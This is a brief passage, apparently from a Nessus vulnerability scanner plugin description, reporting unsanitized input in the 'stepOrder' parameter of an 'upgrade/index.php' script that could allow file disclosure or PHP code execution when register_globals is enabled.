sanitize input to the 'stepOrder' parameter of the 'upgrade/index.php'

function.  An unauthenticated attacker may be able to exploit this issue
to view arbitrary files or to execute arbitrary PHP code on the affected
host provided the PHP's 'register_globals' setting is enabled. 

Note that Nessus has only tested the 'upgrade/index.php' script to
confirm this issue."
